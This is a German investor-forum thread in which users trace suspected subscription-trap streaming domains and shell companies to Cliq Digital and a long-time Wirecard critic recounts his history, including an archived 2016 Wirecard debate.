      Wer sich hier angemeldet hat, soll angeblich ein Freischaltcode zugeschickt bekommen haben. Zu einer Zusendung eines Freischaltcodes sei es aber, soweit viele Aussagen, nicht immer gekommen. Eine Überprüfung hat ergeben, dass ein Freischaltcode (vierstellige Nummer) per SMS an die angegeben Rufnummer übermittelt wird. Es kommt sogar nach einem Login zu der Möglichkeit, Filme abspielen zu können. Woher diese Filme gestreamt werden und ob entsprechend die Rechte an den Filmen bestehen, können wir derzeit nicht sagen.
      Je nach URL der jeweiligen Webseite werden unterschiedliche Registrierungsmasken angezeigt. Wer z.B. auf gadaflix.de/registrierung/ klickt, bzw. über Suchmaschinen oder Verlinkungen aus anderen unseriösen Videoportalen auf diesen Link geführt wird, bekommt lediglich den Hinweis "Die Registrierung dauert nur 30 Sekunden!". Es wird nichts von Folgekosten, einem Abo oder ähnliches geschrieben. Ggf. konnten in den Nutzungsbedingungen Hinweise auf Kosten gefunden werden. Vereinzelt sind diese nur auf englisch zu finden. Auch der Button zur Bestätigung lautet nur "Registrieren". Ein Haken zu Akzeptanz der Nutzungsbedinungen muss nicht gesondert gesetzt werden.
      https://www.scambaiter-forum.info/t8048f4-Internet-Abzocke-Presseberichte-3.html

      Letztes Update der moviecpa.net April 2019
      http://web.archive.org/web/20190418215157/http://moviecpa.ne…

      In Israel kann man leider nur auf einer hebrew-only nach Firmen suchen. Ich habe mal einen israelischen Kontakt um Hilfe gebeten
      Avatar
      schrieb am 12.02.23 12:40:53
      Beitrag Nr. 357 ()
      URLs Teil 2 LKA Niedersachsen
      modplay.de (aktiv, 22.03.2021)
      modoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
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      mostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      movie4k.to (offensichtlich unseriöser Filmanbieter, Stand 20.Nov.2020)
      movie4k.su (offensichtlich unseriöser Filmanbieter, Stand 20.Nov.2020)
      moviecpa.net 8Error 552)
      movieDad.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      moviedo.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
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      movoplay.de (aktiv, Stand 20.Nov. 2020)
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      regplay.de (aktiv, 28.04.2021)
      rexflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      rexkino.com (aktiv, Stand 20.Nov. 2020)
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      ringflix.de (aktiv, Stand 20.Nov. 2020)
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      tinoflix.de (aktiv, Stand 20.Nov. 2020)
      tinostream.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      tobiflix.de (Fehler 503)
      toflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      togostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      tomflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      tonoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      tonoplay.de (Aktiv, Stand 03.Oktober 2021)
      topflix.de (Domain wurde kürzlich registriert, Stand 20.Nov.2020)
      tostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      triflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      trimflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      tugaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      tutoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      umiplay.de (aktiv, 22.03.2021)
      unoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      vagoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      voxstream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      wagplay.de (aktiv, Stand 19.03.2021)
      walplay.de (nicht mehr erreichbar, 22.03.2021)
      wallplay.de (aktiv, 22.03.2021)
      wayplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      webflix.de (Unbekannter Anbieter mit Anmeldemaske, aktuell kein Streamingdienst erkennbar, Stand 20.Nov.2020)
      weflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      windflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      wireplay.de (aktiv, 22.03.2021)
      wolfplay.de (aktiv, Stand 20.Nov. 2020)
      woplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      wowflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      wowplay.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      yaflix.de (aktiv, Stand 20.Nov. 2020)
      yadaplay.de (aktiv, 22.03.2021)
      yagaplay.de (aktiv, Stand 29.Nov. 2020)
      yagoplay.de (aktiv, Stand 20.Nov. 2020)
      yalastream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      yobaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      yoflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      yogostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      yostream.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      zeroplay.de (aktiv, Stand 20.Nov. 2020)
      zodoplay.de (aktiv, 22.03.2021)
      zonaflix.de (aktiv, Stand 20.Nov. 2020)
      zumaflix.de (nicht mehr erreichbar, Stand 20. Nov. 2020)
      zumaplay.de (aktiv, 22.03.2021)
      zunaflix.de (Wird vom Provider zum Verkauf angeboten, Stand 20.Nov.2020)
      Avatar
      schrieb am 13.02.23 22:15:52
      !
      Dieser Beitrag wurde von SelfMODus moderiert. Grund: Tatsachenbehauptungen bitte immer mit entsprechenden Quellenangaben, nachvollziehbarer URL
      Avatar
      schrieb am 16.02.23 21:31:04
      Beitrag Nr. 359 ()
      screenacy.co
      screenacy-co Bonsai Ltd
      https://www.signal-arnaques.com/scam/view/456760
      Ci après l'adresse du site (pas de téléphone !!!)
      @Copyright Screenacy - All rights reserved 2022
      Bonsai Limited - 8 North Ave , Kingston 5, Jamaica
      a.a.O. 48 Constant Spring
      Half Way Tree
      Saint Andrew, Jamaica
      (Quelle)
      Dieselbe Adresse hat eine "Enza Limited", die ich im Zusammenhang mit dem "access2entertainment"-Cluster als "unklar" abspeicherte
      https://letsbang.net/custodian-of-records
      gleiche Adresse auch bei "Tonightshookup" ---> "doors2luv" ---> Grupo C.O.S.I.
      https://stopthatcharge.com/doors2luv-com-how-to-cancel/
      Who Owns doors2luv.com
      GRUPO C.O.S.I., INC., 9745 SW 123 TERRACE, MIAMI, FLORIDA, 33176, USA (GRUPO).
      Welcome to Jamaica Mon
      TonightsHookup is owned by Enza Limited, 48 Constant Spring Road, Kingston 10, Jamaica.
      auch sssconnect verwendet diese Adresse (neben einer Adresse in Zypern)
      (Quelle)
      Das breche ich hier ab, weil ich noch keine Verbindung zu Cliq Digital sehe. Vom Gefühl her würde ich eher sagen, dass es Trittbrettfahrer gibt, die eben die Seiten kopieren. Aber was sind die Originale? Wer kopiert von wem?

      Laut dieser Seite war Cliq BV mindestens ab
      Updated Date: 2020-05-14T10:17:46Z
      bis irgendwann vor 2022 Inhaber der screenacy.co (Archivlink)

      Das war mir zu ungenau, weshalb ich die Whois-History kaufte:


      Zu Weihnachten 2021 war die "Bonsai Ltd" Inhaber der Domain


      Am 23.1.22 wurde dann ein komplett anonymes whois gespeichert.
      Avatar
      schrieb am 16.02.23 21:35:09
      Beitrag Nr. 360 ()
      whois screenacy.co
      WHOIS record on January 15, 2021
      Domain age
      Created Date: March 30, 2020 14:27:14 UTC
      Updated Date: May 14, 2020 10:17:46 UTC
      Expires Date: March 30, 2021 14:27:14 UTC
      Bonsai Ltd
      Also wohl doch schon ab 14. Mai 2020 die Bonsai Ltd
      Vermutlich hat die Bonsai Ltd mit Jamaica-Rum für die Domain bezahlt :)
      Avatar
      schrieb am 23.02.23 00:14:50
      Beitrag Nr. 361 ()
      Wirecard und jigajig, der eigentlich Verrückte
      Zitat von Amplitude: Klaro. Du hast wirecard aufgedeckt? Langsam wird`s lächerlich.

      Ich habe Wirecard nicht aufgedeckt. Das habe ich auch nicht behauptet. Aber ich zeige Dir mal einen Beitrag von mir vom November 2004. Da hieß Wirecard noch gar nicht Wirecard... (und ich nicht jigajig. Dass ich meinen früheren Zugang hier nicht nennen mag, hat nur damit zu tun, dass ich voller Optimismus in den Biotech-Crash von 2000 rannte und sogar Enron kurz vor deren Zusammenbruch noch verteidigt habe... Das ist mir dann doch ein bisschen peinlich. Ich schrieb auch nur 127 Beiträge in knapp 7 Jahren)




      Es ist auch völlig unerheblich, ob ich im Fall Wirecard "eine nicht zielführende Randfigur" war, "die einen Privatkrieg gegen[Wirecad] führt"wie es in einer Analyse für Wirecard hieß oder "eigentlich ein Verrückter" (Melanie Bergermann in "Die Millairdenlüge"), oder, wie für einen tschechischen Wirecard-Leerverkäufer, schlicht "ein Held" - wir fangen alle bei 0 an, wenn wir uns mit einem Thema beschäftigen. Und hier im Thread sind einige seit Jahren dabei und wissen viel mehr über Cliq Digital als ich. Das war bei Wirecard völlig anders. Ich habe auch erst gut 20.000 Dokumente zu Cliq Digital gespeichert gegenüber 1,6 Millionen zur Wirecard :)





      Vielleicht sollten meine Geschichte all jene bedenken, die meinen, ich sei NUR durchgeknallt. Ich bin ohne jeden Zweifel durchgeknallt, aber eben nicht NUR.

      Drum erstelle ich Mindmaps zur Cliq Digital, die ziemlich komplex sind, aber mit ein wenig Aspergersyndrom im Hirn packt man das easy ;)



      Nehmt mich nicht ernster als nötig, aber nicht zu unernst. Ich kann kämpfen - das zumindest habe ich bei Wirecard unter Beweis gestellt :)

      Und Cliq Digital ist eher ein kleines Projekt, damit mir nach Wirecard nicht langweilig wird.
      Avatar
      schrieb am 23.02.23 00:23:42
      Beitrag Nr. 362 ()
      Ich war aber nicht alleine...
      ...und diese in meinem Beitrag erwähnte Pressemitteilung von Ende 2002 (!) wurde zum Inhalt einer Meldung an die BaFin Ende 2004 (!). Da war Tobias Bosler noch long in wirecard und der Wert wurde so wenig diskutiert wie Cliq Digital. Wire Card 2004 hatte Parallelen mit Bob Mobile ca. 2008 und Wirecard 2008 hatte Parallelen zu Cliq Digital 2023. Ob und wann etwas wie Zatarra kommt (2016) oder davor die Artikel von McCrum (2015), das ist schwer einzuschätzen. Mephisto Research, Carl Korn, die Doppelgänger und Frau Schwerdtfeger in der WiWo sind jetzt eher noch Grundrauschen. Ich träume davon, dass sich das bald ändert...
      Avatar
      schrieb am 23.02.23 07:59:54
      Beitrag Nr. 363 ()
      die Bilder klappen nicht
      ...ist aber auch nicht so wichtig.
      Wichtig ist, dass die Recherchen zu Cliq so ernst genommen werden wie nötig und noch wichtiger ist, dass die auf Cliq Digital bezogenen Fragen zur Bilanz nicht in meinem Dauerfeuer untergehen. Wer macht wie was in Nordamerika, ist der über 10 Jahre mitlaufende Goodwillbetrag sinnvoll, wenn sich doch das Geschäftsmodell verändert haben soll, warum wurde das Ende der telefonbasierten und höchst umstrittenen Mehrwertdienste nicht kommuniziert oder von Analysten hinterfragt? Was genau steckt hinter den Marketingkosten und ist es wirklich das, was man dahinter vermutet? Warum ist Cliq Digital nicht willens, seine beworbenen Seiten in Nordamerika zu bennen? usw usf
      Avatar
      schrieb am 24.02.23 21:55:48
      Beitrag Nr. 364 ()
      saved by the bell
      for the record

      Zitat von jigajig: to my international audience :)


      for the thesis "The ghost companies are directly linked to Cliq Digital"
      sorry for the double mentioning of some companies/sites

      as we have here:
      Orsend Digital Ltd
      Nykop Ltd

      Taken at face value one can draw a line from these companies to the other "ghost companies" found by similar checks, see graphic


      see the list I made doing a different search - for a similarity (fb-code)


      I have enough reason to believe that at least all these companies here are linked to Cliq Digital.
      I checked this from different angles like text similarities or other prima-facie-methods, but I have no doubt and stand to this evidence.
      Avatar
      schrieb am 25.02.23 03:02:08
      Beitrag Nr. 365 ()
      was auch immer mediatek.me ist...
      ...für mich sind alle Deskriptoren, die ich gefunden habe (das sind die Texte, die auf der Kreditkartenabrechnung erscheinen) betrugsverdächtigt
      here we go. In dem Teil stecken 10h Arbeit
      https://pastebin.com/T3EL9JQf
      Avatar
      schrieb am 25.02.23 14:31:44
      Beitrag Nr. 366 ()
      jigajig und wirecard
      jigajig
      "Schon sehr früh haben Kritiker in Internetforen darauf hingewiesen, dass mit Wirecard etwas nicht stimmt. Sie wurden beschimpft und verspottet – jetzt werden sie gefeiert. Einer der bekanntesten ist „jigajig“, ein Sozialpädagoge aus dem Raum München. Doch der Absturz des Börsenstars ist ein bitterer Triumph für ihn. Dies ist seine Geschichte."
      https://www.wiwo.de/my/finanzen/boerse/wirecard-kritiker-jig…

      Zitat aus dem "making of", das es nicht in den Text schaffte:
      "Es hat schon immer sehr fundierte Bilanzkritik im Forum gegeben, mehr als in den Zeitungen. Immer wieder. Es wurden Argumente vorgebracht, die plausibel klangen. Aber es entstand keine sinnvolle Diskussion und so verschwanden viele kritischen Stimmen schnell wieder.
      Für mich, der eigentlich gar keine Ahnung hat, wie man eine Bilanz liest, war das ein Problem:
      wenn Finanzzeitungen schreiben, dass die Bilanzen in Ordnung sind, wenn die Wirtschaftsprüfer alles für in Ordnung erklären, wenn die BaFin nicht eingreift – irgendwann denkt man natürlich, dass es verrückt ist, immer weiter und weiter das Gegenteil zu vertreten."

      Natürlich war das traumatisierend, das ging im Prinzip mehr oder weniger allen so, die an dem Thema dran waren. Nach 2016 wurde es einfacher, denn es gab plötzlich in der ganzen Welt Verbündete, von Australien über Singapur, von California bis London, von der Schweiz bis nach Tschechien. Ich war plötzlich nicht mehr alleine...

      Du kannst Dir nicht im entferntesten vorstellen, was das für ein Druck und Psychoterror war... Aber gut, wie gesagt, meine Entscheidung. Das wird mir bei Cliq Digital nicht passieren. Meine Vorgehen in der Recherche ist gleich, aber ich bin viel viel viel weiter "draußen" als bei Wirecard. Was glaubst Du, was es mit einem macht, 16 Jahre lang ständig gegen eine Mauer zu laufen und immer wieder zu hoffen, dass ein Spalt auftaucht, wenigstens ein Spalt.
      Avatar
      schrieb am 20.03.23 19:11:58
      Beitrag Nr. 367 ()
      Antwort auf Beitrag Nr.: 72.997.873 von jigajig am 30.12.22 15:28:55
      Fedrax und Manwin
      Zitat von jigajig: ///archiv
      Mr. Marco Filipe SILVA ALEXANDRE, company director, born in Issy-les-Moulineaux, France, on November 15, 1976, residing at 9000-248 Funchal, Portugal, 12, Caminho do Amparo, Bloco A, 1° A,
      here represented by Mrs. Sofia AFONSO-DA CHAO CONDE, private employee, residing professionally at Esch-sur-Alzette, Grand Duchy of Luxembourg, by virtue of a proxy given under private seal.
      Avendor Holding S.à r.l.?.


      Derselbe Name, Sofia Afonso-Da Chao Conde, taucht im Registrierungsdokument von Manwin Luxembourg auf:

      “MANWIN HOLDING SARL”, a limited liability company under Luxembourg laws, having its registered offices at 1
      rue Nicolas Simmer L-2538 Luxembourg, whose registration with the Luxembourg Trade and Companies Register is
      currently in progress,
      here represented by Mrs. Sofia Afonso-Da Chao Conde, private employee, residing professionally in Esch/Alzette,
      by virtue of a proxy given under private seal on 3 December 2010
      Avatar
      schrieb am 27.08.23 19:09:58
      Beitrag Nr. 368 ()
      es ist an der Zeit...
      ...mal wieder einen verklausulierten Beitrag mit literarischem Anspruch zu schreiben...
      Avatar
      schrieb am 16.09.23 22:20:13
      Beitrag Nr. 369 ()
      An die Münchner Justitia
      Ich habe einen Kunstbrief geschrieben an die Münchner Justitia...
      vielleicht will ihn jemand lesen?

      An die Münchner Justitia – Mahnschrift zum Wirecardprozess

      Ich bin „jigajig“, ein 52jähriger Diplompädagoge aus dem Münchner Umland. Seit 2003 engagiere ich mich ehrenamtlich im Bereich des Verbraucherschutzes mit dem Schwerpunkt auf Internet- und Telefonbetrug. In diesem Bereich konzentrierte ich mich auf die Aufdeckung von Netzwerken, um sie der Strafverfolgung zuzuführen. Ich initiierte oder unterstützte zahlreiche Ermittlungsverfahren gegen nationale und internationale Drahtzieher von Massenbetrug an Verbrauchern, die – wenigstens gelegentlich – zu Anklagen und Verurteilungen führten.

      Eine gewisse Bekanntheit erlangte ich im Zusammenhang mit dem Skandal um Wirecard, einen deutschen Zahlungsdienstleister, der teilweise wertvoller war als die Deutsche Bank und der im DAX notiert war, ehe er im Juni 2020 binnen weniger Tage in sich zusammenbrach, weil Milliarden an Firmenvermögen unauffindbar waren. Der Skandal blamierte die deutschen Aufsichts- und Ermittlungsbehörden und die Schockwellen reichten bis in die höchste Politik. Ich habe zu dieser Firma seit 2003 umfangreich recherchiert und gelte als „Enzyklopädie“ des Falles. In der Dokumentation „Die Milliardenlüge“ wurde ich als einer der „Aufklärer“ in dem Fall porträtiert.

      In den Jahren meines Engagements wurde ich zu einem hartnäckigen und streitbaren Kritiker der Institutionen und schreckte nicht davor zurück, nach der Einstellung eines Ermittlungsverfahrens bis hin zum Bundesjustizministerium zu intervenieren – mit Erfolg! Ich war nie besonders gut zu sprechen auf Ermittlungsbehörden, die aufgrund der Komplexität der Fälle von vorneherein abwinkten, noch auf Aufsichtsbehörden, die ihre Arbeit nicht machten und schon gar nicht auf Gerichte, die – wenn es schon einmal zu einer Anklage kam – meist nur wenig abschreckende Deals zustande brachten.

      Bereits 2003 wandte ich mich das erste Mal an die Münchner Polizei im Zusammenhang mit der späteren Wirecard und 2004 veröffentlichte ich zusammen mit einigen Mitstreitern in einem angesehenen Verbraucherschutzforum eine ausführliche Abrechnung mit dieser Firma, die gerade an die Börse ging. Daraufhin bauten deren Anwälte eine massive Drohkulisse auf, die nach harter Gegenwehr dazu führte, dass alle Artikel gelöscht wurden und der Name der Firma nicht mehr genannt werden durfte. Die Erfahrung der Ohnmacht gegenüber einer Betrugsfirma, gegen die gleichzeitig von Seiten der Behörden nicht vorgegangen wurde, hat mich tief geprägt und war über Jahrzehnte Quelle meiner Motivation.

      Als im Dezember 2022 vor dem Landgericht in München der Prozess gegen die mutmaßlichen Drahtzieher im größten Wirtschaftsprozess der deutschen Nachkriegsgeschichte begonnen hat, bin ich in freudiger Erwartung ins Gericht gepilgert, sooft es von meiner Arbeit her ging. Ich habe mit großem Interesse die Anklageschrift studiert und war überzeugt, dass in der Hauptverhandlung Stück für Stück der Fall aufgeklärt werden würde. Doch schon bald zweifelte ich mehr und mehr an diesem Prozess. Das Ergebnis dieses Zweifels ist der vorliegende Text.

      Eingebettet in den Rahmen eines „Briefes“ an die Justitia auf dem Münchner Justizpalast setze ich mich mit relevanten juristischen Themen wie der Kronzeugenregelung oder dem Weisungsrecht auseinander, aber auch mit der Bedeutung der Architektur als Symbol einer starken Justiz. Ich referiere über die Hintergründe des Falles und erzähle von unserem frühen Kampf um die Wahrheit.

      Das zentrale Thema dieses Kunstbriefes ist allerdings der Gerichtsprozess um die Wirecard. Unter Bezug auf den historischen Fall des Alfred Dreyfus schildere ich der Münchner Justitia (in Vertretung für alle möglichen LeserInnen) die Bauchschmerzen, die mir der Prozess bereitet. Die kritische Abrechnung mit der Staatsanwaltschaft, dem Gericht und den Medien im Falle des Mammutprozesses um den Wirecardskandal gipfelt in einem „j’accuse“, angelehnt an den Brief des Emile Zola in der Dreyfusaffäre.
      Avatar
      schrieb am 30.12.23 11:09:07
      Beitrag Nr. 370 ()
      Altes Fundstück vom 19.03.2016
      Zitat von edorado: Für mich ist Wirecard durch die krassen Short-Spekulationen eines der spannendsten und vielversprechensten Special Situation Investments des Jahres! Und somit eine lukrative Investitionschance und ein klarer Kauf!
      Mag sein :)
      Technisch haben wir inzwischen im Kursbereich 31-32€ einen starken Boden und Widerstand bei dem die Shorties trotz immer höherer Shortquote auf Granit beissen.
      Ich wundere mich auch jedes Mal, dass da immer noch eine 3 steht. Ein Kurs von 25 und dann mal sehen, was kommt, das hätte ich eher erwartet, eine Kursexplosion nach den Zahlen im April war ebenfalls Teils meines Szenarios (und das kann ja durchaus noch so kommen)
      Die würden nicht so hohe Beträge investieren, wenn sie Zweifel am Geschäftsmodell oder der Bilanz hätten!!! Zudem gibt es noch weitere Großaktionäre,... ...profesionelle Investoren, die ihre Investments gründlich checken.
      Und auf der Gegenseite sind lauter Amateure? (siehe unten) Wenn dies für Dich ein Argument ist, bitte ich Dich, Dich zu informieren, wer wann GEGEN Wirecard wettet. Erst dann könnte man beurteilen, wieviel dieses Argument wert ist. Dies rate ich Dir in jedem Fall, falls Du gar an ein Investment bei der Wirecard AG nachdenken solltest.

      Und was verstehst Du unter "gründlich checken"? Wenn Wirecard nunmal ein "Buch mit sieben Siegeln" ist, kann man es gar nicht gründlich checken. Das schließt sich aus. Man kann nichts prüfen, was man nicht verstehen kann.

      Die Vorwürfe 2008 wurden von Ernst&Young geprüft mit gutem Ergebnis für Wirecard, gesehen hat die Studie meines Wissens keiner

      Erst die "House of Wirecards"-Serie hat umfassend die Zahlen der Wirecard thematisiert. Ich nehme an, dass Du die Beiträge gelsen hast.

      http://ftalphaville.ft.com/2015/04/27/2127427/the-house-of-w…
      (eine deutschsprachige Auseinandersetzung mit seinen Thesen ist mir ebenso wenig bekannt wie eine Stellungnahme der Wirecard zu den Analysen)

      Die Fakten, die Zatarra nennt, wurden in Bausch und Bogen zerrissen, wobei ich den Verdacht nicht loswerde, dass sie gar keiner ernsthaft geprüft hat. Denn sonst hätten ganz naheliegende Fragen gestellt werden müssen. Diese habe ich nicht einmal bei Warburg gelesen, dem meines Wissens bisher umfangreichsten Versuch, die Aussagen von Zatarra zu analysieren.

      Warburg schreibt sicherlich nicht von ungefähr, dass man "eigentlich" die Einschätzung zur Wirecard auf "suspended" setzen müsste, man wolle aber nicht den Angreifern in die Karten spielen. Nachvollziehbar ja, aber korrekt??? Und wurde das irgendwo diskutiert? Nein. Es hieß nur "Warburg hat geprüft und alles als Quatsch abgetan". Erstens haben sie aber erhebliche Mängel bei ihrer Prüfung selbst eingeräumt, zweitens haben sie bei einigen Details Fehler gemacht und drittens haben sie gar nicht alle wichtigen Fragen gestellt.

      2007 war anscheinend sogar der Milliardär Lasry engagiert. Der muß es ja wissen. Offenbar ist er es nicht mehr, hat ihm wohl an Gewinn gereicht. Auch der erste institutionelle Anleger (Brockhaus) hat sich mit Gewinn verabschiedet (2006/2007, völlig in Ordnung)
      Der Wirecard CEO kauft bei starken Kursrückgängen über seine Beteiligungsgesellschaft für Millionen Euros eigene Aktien. Das würde er nicht machen, wenn die Frma echte Probleme oder tatsächlich Schwierigkeiten in der Bilanz hätte.
      Warburg deutet ja ungewollt bereits an, worum es geht: "dem Angreifer nicht in die Karten spielen wollen". Jemand hier im Forum sprach von "Poker mit hohen Einsätzen". Ob Markus Braun in seiner Freizeit pokert, weiß ich nicht. Als Geschäftsmann pokert er. Er legt lässig einen Haufen Chips auf den Tisch und alle rufen "ah" und "oh" und denken, er hat 4 Asse. Mag sein.
      Wirecard hat ein schwieriges Geschäftsmodell für Analysten, Wirecard schlägt sich besser als die Konkurrenz, Wirecard wird von der Börse geliebt, dann kommen ein paar böse Jungs und schmeißen Dreck. Den Dreck will keiner anfassen, aber es muß ja alles falsch sein, also bracht man es auch nicht weiter zu prüfen. Kursziel 0 Euro? So ein Quatsch! Wer hat Zatarra nur beraten? Hätten sie "strong sell" geschrieben und nur geschrieben "Anlaß zu Zweifeln an der Geschäftsführung" statt "wirecard betrügt und wir können es beweisen", hätten sie wirecard nicht die Gelegenheit gegeben, den kompletten Bericht mal einfach so als Quatsch abzutun.
      Aber man hat den Gegner reizen wollen: Schau mal, ich setze alles, was ich habe, weil ich gute Karten habe. Oder es gibt noch eine weitere Verschwörungsoption. Wer weiß.
      Es würde dann ja reichen, wenn er alibimäßig nur einen fünfstelligen oder kleinen sechsstelligen Betrag investieren würde, aber er kauft für Millionen...
      Bluff, Gegenbluff? Keine Ahnung.
      Vielmehr schägt hier ein Insider(!!!) massiv zu, der weiß, was demnächst am 7.4. mit der offiziellen Veröffentlichung des Konzern-/Jahresabschlusses mit Präsentation Geschäftsbericht 2015 und Ausblick, sowie Bilanzpresse- und Analystenkonferenz ansteht!!!
      Die Zahlen werden die Zweifler nicht beruhigen können. Noch nicht jetzt.
      http://www.finance-magazin.de/meinungen/was-wirklich-zaehlt/…
      "Warum Wirecard mit seinen starken Zahlen niemanden überzeugt"

      ...Großaktionäre mit entspechender Kenntnis des Unternehmens nutzen die günstigen Kurse vor der Ergebnismeldung am 7.4...., für mich sind das klare positive Zeichen.
      jein, wobei eher ja als nein. Jein deshalb, weil sich nichts geändert hat: Wer trotz der Undurchsichtigkeit der Zahlen auf Wirecard setzte, wird das auch jetzt tun (und könnte damit völlig richtig liegen, das ist schon klar) Andererseits wäre die Blamage tatsächlich gigantisch, wenn,..., wenn..., ja was denn wenn? Das ist das Problem von Zatarra: was soll denn eigentlich passieren?
      Die stark gestiegene hohe Shortquote

      Ist sie denn so stark gestiegen?
      http://www.finance-magazin.de/maerkte-wirtschaft/kapitalmark…
      Laut der Süddeutschen Zeitung (SZ) wurden auf fast 9 Prozent der 123,6 Millionen Aktien solche so genannten Short-Positionen abgeschlossen. Odey Asset Management und Blue Ridge Capital gehören zu den Hedgefonds, die auf diese Art auf den Verfall der Papiere spekuliert haben. (...) Das wirft ein neues Licht auf den Kurseinbruch der Wirecard-Aktie am Mittwoch. (...)

      Odey ist seit dem 3.12.2014 short. Blue ridge Capital? würde ich mir gerne mal ansehen (siehe unten)
      Ebenfalls bemerkenswert: Zatarra räumt laut SZ am Ende des Berichts ein, selbst mit Wirecard-Aktien zu handeln. (...)
      Na und? Bei so viel Heuchelei und/oder Naivität kommt mir das Kotzen! Wieviel Schaden wurde der Aktienkultur zugefügt durch Parteien, die sich billige Aktien kauften und diese von anderen als Geheimtipps hochjubeln ließen, bis die Blase platzte? Was ist denn der Unterschied, nur weil es hier um eine TecDAX-Aktie geht?
      Dass hinter Zatarra ein Hedgefonds steht, der mit dem Research-Bericht gezielt die Kurspanik bei Wirecard ausgelöst hat, ist somit nicht ausgeschlossen.
      Es ist auch nicht ausgeschlossen, dass Donald Trump hinter allem steckt. Wenn nichts auszuschließen ist, kann man alles schreiben. Zatarra hat im Moment noch das Problem, sich nicht wehren zu können. Dass sich das ändert ist: nicht ausgeschlossen :)

      Und zudem ist das wieder ein Autor, der zwar offensichtlich die SZ gelesen hat, aber nicht den Zatarrabericht, er räumt das sogar ein und dann sollen solche Statements mehr wert sein als ein 100-Seiten-Bericht, bei dem die Kernaussagen mit nachprüfbaren Links belegt werden, nur weil sein Name darunter steht? Sorry, diese Logik kann ich nicht nachvollziehen.


      Anhang:

      Nettoleerverkäufer und ihre Anteile (Quelle: ebundesanzeiger)
      (Name, Einstieg, aktueller Wert,Verhalten während Krise)

      QVT Financial LP am 1.11.2012 mit 1,08%, sukz.auf 0,46% reduziert (2013), aktuell 0,53% (4.3.16 erhöht)

      Canada Pension Plan Investment Board seit 14.05.2014, damals 1,11%, heute 2,29% (keine Aktivität)

      Odey Asset management LLP, am 03.12.14 eingestiegen mit 1,18%, oft verändert, runter bis 0,46% (Januar 15), im November stückweise erhöht bis 25.11.15 (1,11), ab Mitte Januar 16 wieder erhöht (1,04 am 24.2.), danach abgebaut auf 0,80 (14.3.)

      Coatue Management LLC 10.06.2015 (0,66%), v.a. im November15 erhöht auf 1,21% (am 25.2.), am 26.2. auf 1,02 abgebaut, bis 8.3.16 in mehreren Schritten auf 0,70 abgebaut, dann in mehreren Schritten erhöht auf 1,51% (16.3.16)

      Oxford Asset Management seit 16.07.2015, 0,52% / 0,64% (keine Aktivität)

      Theleme Partners eingestiegen am 25.11.15 mit 0,53%, am 10.03.16 erhöht auf 0,80%

      Blue Ridge Capital LLC (1.12.15) 0,72%, erhöht bis 4.12.15 auf 1,36%, am 24.2.15 erhöht auf 2,02%, am 14.3. erhöht auf 2,73%

      Darsana Capital LP 01.02.16 eingestiegen mit 0,60% am 3.3.16 auf 0,90% erhöht (keine Aktivität)

      Theleme Partners LLP neu am 24.02.2016 0,74 % (neu eingestiegen bei Krise)

      Thunderbird Partners LLP neu am 26.02.2016 0,55%

      Miura Global management LLC, neu am 26.02.2016, 0,50%

      TT International am 29.02.16 eingestiegen mit 0,57% aktuell 0,60%



      dann halte ich die aktuellen Ergebnsschätzungen sogar für konservativ und erwarte für Wirecard bei der Ergebnismeldung eine positive Überraschung am 7.4.
      Wenn Du schon Markus Braun zitierst, solltest Du es als Zitat kenntlich machen :)
      Spaß beiseite: Wie gesagt, es ist durchaus möglich, dass Wirecard überzeugende Zahlen liefert. Ich halte nach wie vor eine Entwicklung der Geschichte für denkbar, die Wirecard am Ende einen unglaublichen Profit einbringt. "Tapfer gegen böse angelsächsische Intriganten gewehrt, die nur Schmutz um sich werfen". Ansätze zur Gegenposition: siehe unten

      Wirecard hat auf seinem Webauftritt eine Gegendarstellung veröffentlicht, wo sie mehrere extreme Fehler und Falschbehauptungen des Zatarra-Reports aufzeigen.

      sage mir mal bitte einen, nur exemplarisch. Ich brauche offenbar eine Brille.
      Diese seltsamen Zatarra-Reports in Kombination mit einer konzertierten Shortie-Aktion bei einem schwächeren Gesamtmarkt haben diesen Kursrutsch ausgelöst.
      Kann man so sehen.
      Hatten wir vor Jahren schon mal bei Wirecard.

      Wenn es den Wirecardisti passt, dürfen alte Geschichten also herangezogen werden zur Erklärung aktueller Vorgänge. Interessant. Wenn Zatarra das macht, ist es kalter Kaffee.
      Auch damals war an den Vorwürfen nichts dran!!!

      Du meinst 2008, da ging es um Bilanzunstimmigkeiten, dazu gab es eine Prüfung durch Ernst&Young, die Wirecard entlastete, deren Inhalt ich aber nicht kenne. Das muß ich dann so hinnehmen, auch wenn ich normalerweise immer selbst etwas lesen will, bevorich es glaube und vertrete.

      in wikipedia steht dazu
